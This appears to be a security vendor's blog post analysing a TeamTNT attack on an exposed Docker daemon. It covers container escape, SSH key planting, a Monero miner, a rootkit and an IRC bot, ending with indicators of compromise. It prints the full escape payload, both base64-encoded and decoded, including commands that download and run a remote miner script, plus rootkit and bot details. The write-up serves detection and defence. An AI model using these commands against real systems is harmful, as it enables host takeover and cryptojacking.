Last week, we published a blog post describing how TeamTNT created a Docker worm that was replicating itself in open Docker daemons. In the case of that example, everything took place inside a Docker container.

Now, The same threat actor, TeamTNT, is still abusing open Docker daemons but now they are using a neat trick to escape from the container and install the crypto miner in the real host (the one running the Docker daemon).

Escaping from Docker

TeamTNT is running massive internet scans looking for open and unsecured instances of Docker and Kubernetes. As you can see in the following image, once their scanner found our Docker daemon, they used another tool written in Go for checking that the Docker daemon was real:

Finding our Docker daemon

Then they just created a new container and started it:

Creating a new container

If we have closer look at the container creation, we will be able to see how the Docker escape works:

New container parameters

There are multiple options that appear in the JSON message that was sent to the Docker daemon, but the most important ones are the following:

Image':'alpine'

It indicates that the container will use the ‘alpine’ base image.

HostConfig':{'Binds':['/:/host']

This is part of the docker escape method. As it is an open and unsecured Docker daemon, the attacker can use the ‘Binds’ parameter, that will mount the host ‘/’ filesystem into the ‘/host’ directory in the container.

Privileged':true

Docker privileged mode grants a Docker container root capabilities to all devices on the host system. In this case, it allows the attacker to write in the ‘/root’ directory:

Cmd':['chroot', /host', bash', -c', echo c3NoLWtleWdlbiAtTiAiIiAtZiAvdG1wL1RlYW1UTlQKCmNoYXR0ciAtUiAtaWEgL3Jvb3QvLnNzaC8gMj4vZGV2L251bGw7IHRudHJlY2h0IC1SIC1pYSAvcm9vdC8uc3NoLyAyPi9kZXYvbnVsbDsgaWNoZGFyZiAtUiAtaWEgL3Jvb3QvLnNzaC8gMj4vZGV2L251bGwKY2F0IC90bXAvVGVhbVROVC5wdWIgPj4gL3Jvb3QvLnNzaC9hdXRob3JpemVkX2tleXMKY2F0IC90bXAvVGVhbVROVC5wdWIgPiAvcm9vdC8uc3NoL2F1dGhvcml6ZWRfa2V5czIKcm0gLWYgL3RtcC9UZWFtVE5ULnB1YgoKCnNzaCAtb1N0cmljdEhvc3RLZXlDaGVja2luZz1ubyAtb0JhdGNoTW9kZT15ZXMgLW9Db25uZWN0VGltZW91dD01IC1pIC90bXAvVGVhbVROVCByb290QDEyNy4wLjAuMSAiKGN1cmwgaHR0cDovL3RlYW10bnQucmVkL3NoL3NldHVwL21vbmVyb29jZWFuX21pbmVyLnNofHxjZDEgaHR0cDovL3RlYW10bnQucmVkL3NoL3NldHVwL21vbmVyb29jZWFuX21pbmVyLnNofHx3Z2V0IC1xIC1PLSBodHRwOi8vdGVhbXRudC5yZWQvc2gvc2V0dXAvbW9uZXJvb2NlYW5fbWluZXIuc2h8fHdkMSAtcSAtTy0gaHR0cDovL3RlYW10bnQucmVkL3NoL3NldHVwL21vbmVyb29jZWFuX21pbmVyLnNoKXxiYXNoIgoKcm0gLWYgL3RtcC9UZWFtVE5UCgo= | base64 -d | bash']

This is the command that will be executed when the container starts. You can see that it uses ‘chroot’ to simulate a directory on the container as the root of the filesystem, and then executes a ‘bash’ script. If you decode the script, you get the following commands:

ssh-keygen -N "" -f /tmp/TeamTNT

chattr -R -ia /root/.ssh/ 2>/dev/null; tntrecht -R -ia /root/.ssh/ 2>/dev/null; ichdarf -R -ia /root/.ssh/ 2>/dev/null
cat /tmp/TeamTNT.pub >> /root/.ssh/authorized_keys
cat /tmp/TeamTNT.pub > /root/.ssh/authorized_keys2
rm -f /tmp/TeamTNT.pub


ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=5 -i /tmp/TeamTNT [email protected] "(curl http://teamtnt.red/sh/setup/moneroocean_miner.sh||cd1 http://teamtnt.red/sh/setup/moneroocean_miner.sh||wget -q -O- http://teamtnt.red/sh/setup/moneroocean_miner.sh||wd1 -q -O- http://teamtnt.red/sh/setup/moneroocean_miner.sh)|bash"

rm -f /tmp/TeamTNT

To summarize the how the script operates:

  1. Create a SSH keypair and store it in ‘/tmp/TeamTNT’
  2. Append the new public SSH key to ‘/root/.ssh/authorized_keys’ and also overwrite ‘/root/.ssh/authorized_keys2’ with it
  3. Delete the public SSH key
  4. Open an SSH connection to 127.0.0.1 (localhost) and authenticate as root with the new SSH certificate
  5. Download and execute hxxp://teamtnt.red/sh/setup/moneroocean_miner.sh

Overwriting the authorized_keys2 file

And voilà! The escape has been a success. By creating a privileged container that mounts the host filesystem and overwrites root’s SSH authorized_keys, the attacker can then connect through SSH from the container to the host and execute anything they want.

Propagating itself

Abusing the system for mining

The ‘moneroocean_miner.sh’ script (SHA256: 3b6453cd405f1e4e9497e30f2f188a3433da108bd04e464ea4f4b113ea4230b2), included in the appendix, installs a systemd service (SystemRaid) that will be responsible for executing an XMRig (version 6.15.0-mo1) binary. The bash script is self-explanatory and it includes some comments, so I’ll leave this as an exercise for the reader.

Downloading and installing the system service

The systemd service that gets installed (SystemRaid) has the following configuration:

[Unit]
Description=SystemRaid service

[Service]
ExecStart=/root/.configures/xmrig --config=/root/.configures/config.json
Restart=always
Nice=10
CPUWeight=1

[Install]
WantedBy=multi-user.target

Starting the cryptominer service

The most interesting details from the script are:

  • The installation of a Linux rootkit. It uses an open source rootkit that can be found at https://github.com/m0nad/Diamorphine. The rootkit is used by the attacker for hiding all the mining processes:
ps aux | grep -v grep | grep xmrig | awk '{print $2}' > /dev/shm/tnths.dat
find /dev/shm/ -size 0 -exec rm -f {} \;
while read XMR_PID; do
kill -31 $XMR_PID 2>/dev/null 1>/dev/null
done < /dev/shm/tnths.dat
rm -f /dev/shm/tnths.dat 2>/dev/null 1>/dev/null

Compiling and installing the rootkit

  • The installation of a classic IRC bot (chimaera.cc) that will receive orders from an IRC channel.

The chimaera IRC bot

The bot connects to ‘irc.chimaera.cc’, is written in C, and has the following capabilities:

CommandDescription (from the binary)
NICK <nick>Changes the nick of the client
SERVER <server>Changes servers
GETSPOOFSGets the current spoofing
SPOOFS <subnet>Changes spoofing to a subnet
DISABLEDisables all packeting from this client
ENABLEEnables all packeting from this client
GET <http address> <save as>Downloads a file off the web and saves it onto the hd
UPDATE <http address> <src:bin>Update this bot
HACKPKG <http address> <bin name>HackPkg is here! Install a bin, using http, no depends!
VERSIONRequests version of client
HELPDisplays this
IRC <command>Sends this command to the server
SH <command>Executes a command
ISH <command>SH, interactive, sends to channel
SHD <command>Executes a pseudo-daemonized command
GETBB <tftp server>Get a proper busybox
INSTALL <http server/file_name>Download & install a binary to /var/bin
BASH <cmd>Execute commands using bash.
BINUPDATE <http:server/package>Update a binary in /var/bin via wget
SCAN <nmap options>Call the nmap wrapper script and scan with your opts.
RSHELL <server> <port>Equates to nohup nc ip port -e /bin/sh
LOCKUP <http:server>Kill telnet, d/l aes backdoor from <server>, run that instead.
GETSSH <http:server/dropbearmulti>D/l, install, configure and start dropbear on port 30022
TOETEDENCLIENTKill client
UPDATEupdate

At that moment, there were only 200 clients connected to the IRC server.

What the attacker can see

We have seen that the attacker checks the container logs, probably to be sure that everything went as planned. The following shows what the attacker could see:

Generating public/private rsa key pair.
Your identification has been saved in /tmp/TeamTNT
Your public key has been saved in /tmp/TeamTNT.pub
The key fingerprint is:
SHA256:XXXXXXXm2Qwy9LW5GWwFH3dT1rThoA 
root@host
The key's randomart image is:
+---[RSA 3072]----+
|       . o*=o. oo|
|      . =oE+. o.B|
|       *o =  . =o|
|      . ++ +  . .|
|        S== +    |
|       o.O.+o    |
|      . = == .   |
|       o oo.o    |
|          o+.    |
+----[SHA256]-----+
Warning: Permanently added '127.0.0.1' (ECDSA) to the list of known hosts.
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 14645  100 14645    0     0  38743      0 --:--:-- --:--:-- --:--:-- 38743
no crontab for root
mount: /tmp: mount point not mounted or bad option.


1 CPU threads
Hashrate 0 KH/s.


[*] Removing previous moneroocean miner (if any)
Failed to stop moneroocean_miner.service: Unit moneroocean_miner.service not loaded.
[*] Removing /root/.configures directory
xmrig: no process found
[*] Downloading advanced Miner
######################################################################## 100.0%
[*] Unpacking /dev/shm/xmrig.tar.gz to /root/.configures
[*] Checking if advanced version of /root/.configures/xmrig works fine (and not removed by antivirus software)
[*] Miner /root/.configures/xmrig is OK
[*] Creating /root/.configures/miner.sh script
[*] Creating SystemRaid systemd service
[*] Starting SystemRaid systemd service
Created symlink /etc/systemd/system/multi-user.target.wants/SystemRaid.service → /etc/systemd/system/SystemRaid.service.

IOCs

teamtnt.red45.9.148.108
irc.chimaera.cc45.9.148.182
moneroocean_miner.sh3b6453cd405f1e4e9497e30f2f188a3433da108bd04e464ea4f4b113ea4230b2
diamorphine.sh418d1ea67110b176cd6200b6ec66048df6284c6f2a0c175e9109d8e576a6f7ab
chimaera.ccfe3c5c4f94b90619f7385606dfb86b6211b030efe19b49c12ead507c8156507a

Continue reading about Docker abuse here: Malicious Docker Images Still Used for Mining Purposes

Read the first post in the series here: Docker Daemon Worms Are Still Kicking Around


David Barroso is a founder and CEO of CounterCraft. You can find him on LinkedIn.